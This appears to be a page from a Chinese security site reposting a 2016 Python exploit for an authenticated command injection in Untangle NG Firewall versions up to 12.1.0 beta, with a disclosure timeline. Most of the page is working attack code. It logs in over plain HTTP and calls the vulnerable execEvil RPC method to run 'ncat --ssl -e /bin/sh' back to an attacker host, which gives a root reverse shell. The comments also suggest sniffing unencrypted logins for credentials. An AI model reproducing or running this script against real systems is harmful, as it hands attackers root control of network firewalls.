首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Untangle NGFW 12.1.0 Beta execEvil() Command Injection
来源:mbush@themissinglink.com.au 作者:Matt Bush 发布时间:2016-06-28  
#!/usr/bin/python

# Title: 			Untangle NGFW <= v12.1.0 beta execEvil() authenticated root CI exploit
# CVE:				(Not yet assigned)
# Discovery:			Matt Bush (@3xocyte)
# Exploit:			Matt Bush
# Contact:			mbush@themissinglink.com.au

# Disclosure Timeline:
# 22/4/2016			Attempted to contact vendor after discovery of vulnerabilities
# 6/5/2016			No response from vendor, vulnerabilities reported to US-CERT (assigned VU#538103)
# 12/5/2016			US-CERT confirms contacting vendor
# 16/6/2016			US-CERT notifies of no response from vendor and suggests requesting CVE-ID following their timeline
# 27/6/2016 			Public disclosure

# A command injection vulnerability exists in Untangle NG Firewall, which allows non-root authenticated users to execute system commands with
# root privileges. This exploit has been tested on Untangle NG Firewall versions 11.2, 12, 12.0.1, and 12.1.0 beta, but should work on previous 
# versions. The client-side sanitisation issues identified in the disclosure post can be exploited with a web app proxy. This exploit leverages
# the vulnerable function directly. Credentials can be obtained by sniffing unsecured HTTP logins (which the appliance defaults to).

# The author is not responsible for how this script or any information within this script is used. Don't do anything stupid.

import json, requests, sys

if len(sys.argv) < 5:
	print "[!] usage: " + sys.argv[0] + " <RHOST> <LHOST> <username> <password>"
	print "[!] and in a separate terminal: 'ncat --ssl -nlvp 443'"
	sys.exit()

print "\nUntangle NGFW <= v12.0.1 execEvil() authenticated root CI exploit"
print "                          by @3xocyte\n"

rhost = sys.argv[1]
lhost = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]

login_url = "http://" + rhost + "/auth/login?url=/webui&realm=Administrator"
rpc_url = "http://" + rhost + "/webui/JSON-RPC"
auth = {'username': username, 'password': password}

print "[*] Opening session..."
session = requests.Session()

print "[*] Authenticating..."
try:
	login = session.post(login_url, data=auth)
	get_nonce = {"id":1,"nonce":"","method":"system.getNonce","params":[]}
	req_nonce = session.post(rpc_url, data=json.dumps(get_nonce))
	data = json.loads(req_nonce.text)
	nonce = data['result']
except:
	print "[!] Authentication failed. Quitting."
	sys.exit()

print "[*] Getting execManager objectID..."
try:
	get_obj_id = {"id":2,"nonce":nonce,"method":"UvmContext.getWebuiStartupInfo","params":[]}
	req_obj_id = session.post(rpc_url, data=json.dumps(get_obj_id))
	data = json.loads(req_obj_id.text)
	object_id = data['result']['execManager']['objectID']

except:
	print "[!] Could not get execManager objectID. Quitting."
	sys.exit()

print "[*] Exploiting Ung.Main.getExecManager().execEvil()..."
try:
	exploit = {"id":3,"nonce":nonce,"method":".obj#" + str(object_id) + ".execEvil","params":["ncat --ssl -e /bin/sh " + lhost + " 443"]}
	session.post(rpc_url, data=json.dumps(exploit))
except:
	print "[!] Exploit failed. Quitting."
	sys.exit()

print "[*] Exploit sent!"


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ruby HTTP Header Injection
·JSON Swagger CodeGen Parameter
·HNB 1.9.18-10 - Local Buffer O
·Prestashop Attribute Wizard Pr
·PInfo 0.6.9-5.1 - Local Buffer
·Windows 7 SP1 x86 - Privilege
·MyLittleForum 2.3.5 - PHP Comm
·Symantec Endpoint Protection M
·Tiki-Wiki CMS Calendar Command
·WordPress Ultimate Membership
·Prestashop modules Arbitrary F
·Cuckoo Sandbox Guest 2.0.1 - X
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved